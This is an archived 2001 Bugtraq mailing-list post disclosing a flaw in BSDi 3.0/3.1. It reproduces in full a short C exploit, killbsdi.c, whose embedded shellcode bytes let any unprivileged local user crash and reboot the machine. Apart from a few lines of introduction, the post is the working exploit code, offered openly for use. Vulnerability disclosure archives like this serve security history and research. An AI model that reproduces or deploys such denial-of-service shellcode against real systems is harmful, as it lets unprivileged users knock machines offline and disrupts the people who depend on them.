[22349] in bugtraq
BSDi (3.0/3.1) reboot machine code as any user (non-specific)
daemon@ATHENA.MIT.EDU (v9@realhalo.org)
Tue Aug 21 00:09:02 2001
Date: 21 Aug 2001 01:23:33 -0000
Message-ID: <20010821012333.9999.qmail@securityfocus.com>
From: <v9@realhalo.org>
To: bugtraq@securityfocus.com
this is something from a little while back. thought i
might as well post it for some sort of use, generally a
pretty minimal problem. has similar effects to the old
f00f bug. except this reboots the machine, instead of
having a freezing effect.
original source:
http://realhalo.org/killbsdi.c
-- killbsdi.c start --
/* (BSDi)*[v3.0/3.1] system failure, by
v9[v9@realhalo.org]. this will result
in the ability of any user to fail the
system, and reboot it. this bug is
similar to that of the "f00f" bug.
results are similar, except this reboots
the machine instead of having a freezing
effect. tested, and built for: BSDi
v3.0/3.1. (arch/non-specific to BSDi)
*/
char bsdi_killcode[] =
"\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
"\xb0\x9a\x50\x89\xe7\xff\xd7";
int main() {
void (*execcode)()=(void *)bsdi_killcode;
printf("[ (BSDi)*[v3.0/3.1]: system failu"
"re, by: v9[v9@realhalo.org]. ]\n");
printf("*** no output should be seen afte"
"r this point.\n");
execcode();
printf("*** system failure failed.\n");
exit(0);
}
-- killbsdi.c end --
Vade79 -- v9@realhalo.org -- realhalo.org.
